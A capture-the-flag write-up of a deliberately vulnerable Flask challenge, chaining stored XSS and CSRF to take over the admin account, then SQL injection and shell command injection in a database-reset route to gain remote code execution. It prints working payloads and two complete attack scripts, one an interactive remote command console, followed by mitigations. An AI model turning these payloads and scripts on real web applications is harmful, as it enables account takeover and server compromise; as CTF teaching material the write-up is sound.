My First Web
Flag: LITCTF{us3rn4m3_1nj3c710n_7f62be7ddc0d597f}
🎯 Goal
Exploit a deliberately vulnerable Flask app to gain admin, achieve RCE via a chained bug, and retrieve the flag from the server filesystem.
🧩 Challenge Summary
Given files
app.py
— Flask app
schema.sql
— SQLite schema
init_db.py
— resets DB, seeds admin
- Note:
python3 init_db.py admin
is run before app starts
- Note: “Admin frequently checks the website”
- Note: “Flag is not in flag.txt.”
Key routes
/signup
,/login
/contact
— creates a comment
/admin
— admin panel, lists all comments
/updatePassword
(POST) — admin-only, SQL injection
/resetDB
(POST) — admin-only, callssubprocess.run(..., shell=True)
with user-controlled username ⇒ command injection
🕳️ Vulnerabilities
- SQL Injection (admin-only)
# /updatePassword
cur.execute(f"UPDATE users SET password = '{newPassword}' WHERE username = '{session.get('username')}'")
Unparameterized string formatting → SQLi on newPassword
.
- No CSRF protection
All POST routes lack CSRF tokens / origin checks.
- Command Injection (admin-only)
# /resetDB
subprocess.run(f"python init_db.py {session.get('username')}", shell=True)
With shell=True
, if we can control session['username']
, we can execute arbitrary commands.
- Stored XSS (probable / template-dependent)
Admin panel renders all comments; our payload executed when admin visited.
🗺️ Exploitation Plan
- Become admin without guessing creds:
Post a stored XSS comment that auto-submits a same-origin POST to
/updatePassword
, setting the admin password to a known value.
- Log in as admin.
- Turn
/resetDB
into RCE:Use SQLi in
/updatePassword
to change the admin username to a crafted value starting with;
so thatsubprocess.run("python init_db.py <username>", shell=True)
executes our injectedpython -c "..."
instead of resetting the DB.
- Exfil command output:
Our injected Python stores command output into the
comments
table (usernameloot
), which we then read on/admin
.
- Read the flag.
✅ Step-by-Step (what we did)
1) Create user & log in
POST /signup
→ create any account
POST /login
→ log in as that user
2) Plant stored XSS to force admin to change their own password
Comment payload (auto POSTs from admin’s origin/session when they view):
<script>
fetch('/updatePassword', {
method:'POST',
headers:{'Content-Type':'application/x-www-form-urlencoded'},
body:'newPassword=admin'
});
</script>
After the admin bot visited the site, we successfully logged in as:username:
admin
/ password:admin
3) Log in as admin & open /admin
We confirmed access to the admin panel (shows all comments plus admin controls).
4) Achieve RCE via /resetDB
Problem: /resetDB
would normally reset the DB first (and break our session chain).
Trick: Use SQLi in /updatePassword
to change the admin username to:
; python3 -c "<our python>";#
This makes the shell execute:
python init_db.py ; python3 -c "<code>";#
- The first command has no argument, so
init_db.py
does nothing useful
- Our
python3 -c "<code>"
executes safely
- We remain logged in and can still read
/admin
5) Exfil command output via DB comments
Our injected Python runs the OS command and inserts output into comments (username='loot', content='<output>')
. We then refresh /admin
and read the latest loot
entry.
6) Tooling
We used two small helpers:
exploit.py
— one-shot “become admin” (plants XSS → waits → logs in)
rce_console.py
— interactive RCE console (sets crafted username via SQLi, triggers/resetDB
, parses output from/admin
)
Demo session:
rce> ls
__pycache__
admin_bot.py
admin_bot2.py
app.py
database.db
entrypoint.sh
error.log
flag-9f8df47e-782d-4eec-be9a-1f80df3768e3.txt
...
rce> cat flag-9f8df47e-782d-4eec-be9a-1f80df3768e3.txt
LITCTF{us3rn4m3_1nj3c710n_7f62be7ddc0d597f}
🧪 Useful PoCs
(A) CSRF page (fallback if no XSS)
<form action="http://HOST:PORT/updatePassword" method="POST">
<input type="hidden" name="newPassword" value="admin">
</form>
<script>document.forms[0].submit()</script>
(B) SQLi to set malicious username
Request (while logged in as admin):
POST /updatePassword
Content-Type: application/x-www-form-urlencoded
newPassword=pw', username='; python3 -c "import base64,os,sqlite3;c=sqlite3.connect(\"database.db\");out=os.popen(base64.b64decode(\"<B64(cmd)>\").decode()).read();c.execute(\"INSERT INTO comments (username,content) VALUES (?,?)\",(\"loot\",out));c.commit()";--
Then POST /resetDB to execute the payload and GET /admin to read loot
.
🧰 Scripts (compact versions)
exploit.py
— get admin via stored XSS
#!/usr/bin/env python3
import argparse, time, uuid, requests
from urllib.parse import urljoin
def B(u): return (u if u.startswith(("http://","https://")) else "http://"+u).rstrip("/")
def signup_login(s, base, u, p, e):
s.post(urljoin(base,"/signup"), data={"email":e,"name":u,"password":p,"confirm":p})
r = s.post(urljoin(base,"/login"), data={"name":u,"password":p})
assert "invalid" not in r.text.lower()
def plant_xss(s, base, newpass):
payload = ("<script>fetch('/updatePassword',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},"
f"body:'newPassword='+encodeURIComponent('{newpass}')})</script>")
s.post(urljoin(base,"/contact"), data={"comment":payload})
def try_admin(base, p):
s = requests.Session()
r = s.post(urljoin(base,"/login"), data={"name":"admin","password":p})
if "invalid" in r.text.lower(): return None
a = s.get(urljoin(base,"/admin"))
return s if a.status_code==200 else None
if __name__=="__main__":
ap=argparse.ArgumentParser(); ap.add_argument("target"); ap.add_argument("--newpass",default="admin"); a=ap.parse_args()
base=B(a.target); s=requests.Session()
u= "user_"+uuid.uuid4().hex[:8]; p="pass_"+u; e=u+"@ex.com"
signup_login(s, base, u, p, e); plant_xss(s, base, a.newpass)
for _ in range(60):
if try_admin(base, a.newpass): print("[+] admin ready"); break
time.sleep(2)
rce_console.py
— interactive RCE via /resetDB
#!/usr/bin/env python3
import argparse, base64, re, requests, time
from urllib.parse import urljoin
def B(u): return (u if u.startswith(("http://","https://")) else "http://"+u).rstrip("/")
def login(s,b,u,p):
r=s.post(urljoin(b,"/login"),data={"name":u,"password":p},allow_redirects=True)
if "invalid" in r.text.lower(): raise SystemExit("login failed")
def logout(s,b): s.get(urljoin(b,"/logout"))
def sqli_set_user(s,b,new_user,new_pw="pw"):
if "'" in new_user or "'" in new_pw: raise ValueError("no single quotes")
payload=f"{new_pw}', username='{new_user}';-- "
s.post(urljoin(b,"/updatePassword"),data={"newPassword":payload})
def reset(s,b): s.post(urljoin(b,"/resetDB"),data={})
def html(b,s): return s.get(urljoin(b,"/admin")).text
def loot(t):
m=list(re.finditer(r"<h2>\s*loot\s*</h2>\s*<p>(.*?)</p>",t,re.S|re.I))
return "" if not m else re.sub("<[^>]+>","",m[-1].group(1)).strip()
def esc(s): return s.replace("\\","\\\\").replace('"','\\"')
def inject_user(cmd, py="python3"):
b64=base64.b64encode((cmd+" 2>&1").encode()).decode()
pycode=("import base64,os,sqlite3;c=sqlite3.connect(\"database.db\");"
f"out=os.popen(base64.b64decode(\"{b64}\").decode()).read();"
"c.execute(\"INSERT INTO comments (username,content) VALUES (?,?)\",(\"loot\",out));c.commit()")
return f"; {py} -c \"{esc(pycode)}\";#"
if __name__=="__main__":
ap=argparse.ArgumentParser(); ap.add_argument("target"); ap.add_argument("--admin-user",default="admin"); ap.add_argument("--admin-pass",default="admin"); ap.add_argument("--pyexe",default="python3"); ap.add_argument("--delay",type=float,default=1.0); a=ap.parse_args()
base=B(a.target); s=requests.Session(); login(s,base,a.admin_user,a.admin_pass)
print("[*] RCE ready. Try: ls, id, cat /flag")
while True:
try:
cmd=input("rce> ").strip()
if not cmd: continue
if cmd in ("quit","exit"): break
user=inject_user(cmd,a.pyexe)
sqli_set_user(s,base,user,"pw"); logout(s,base); login(s,base,user,"pw")
reset(s,base); time.sleep(a.delay)
out=loot(html(base,s)); print(out if out else "[!] no output; increase --delay")
except KeyboardInterrupt: break
🏁 Outcome
- Admin takeover via stored XSS → CSRF to
/updatePassword
- RCE via SQLi (modify username) →
/resetDB
withshell=True
- Flag read from filesystem:
LITCTF{us3rn4m3_1nj3c710n_7f62be7ddc0d597f}
🛡️ Mitigations (what should be fixed)
- Use parameterized queries everywhere (
?
placeholders with tuples).
- Add CSRF protection (CSRF tokens; check
Origin
/Referer
; SameSite cookies).
- Never pass untrusted data to the shell. Use
subprocess.run([...], shell=False)
with an argument list.
- Hash passwords (e.g.,
werkzeug.security.generate_password_hash
).
- Escape untrusted content in templates (default Jinja2 autoescape; avoid
|safe
for user input).
- Regenerate sessions on privilege change; avoid storing trust in user-mutable fields.
🗒️ Notes / Gotchas We Hit
- If
/resetDB
actually resets the DB first, your admin session dies and you won’t see output. Starting the injected username with;
preventsinit_db.py
from running with a valid argument.
- Our first parser pulled the first
loot
comment; we switched to the last match.
- Avoid single quotes in the injected username (SQLi string context). We used base64 + only-double-quotes in
python -c
.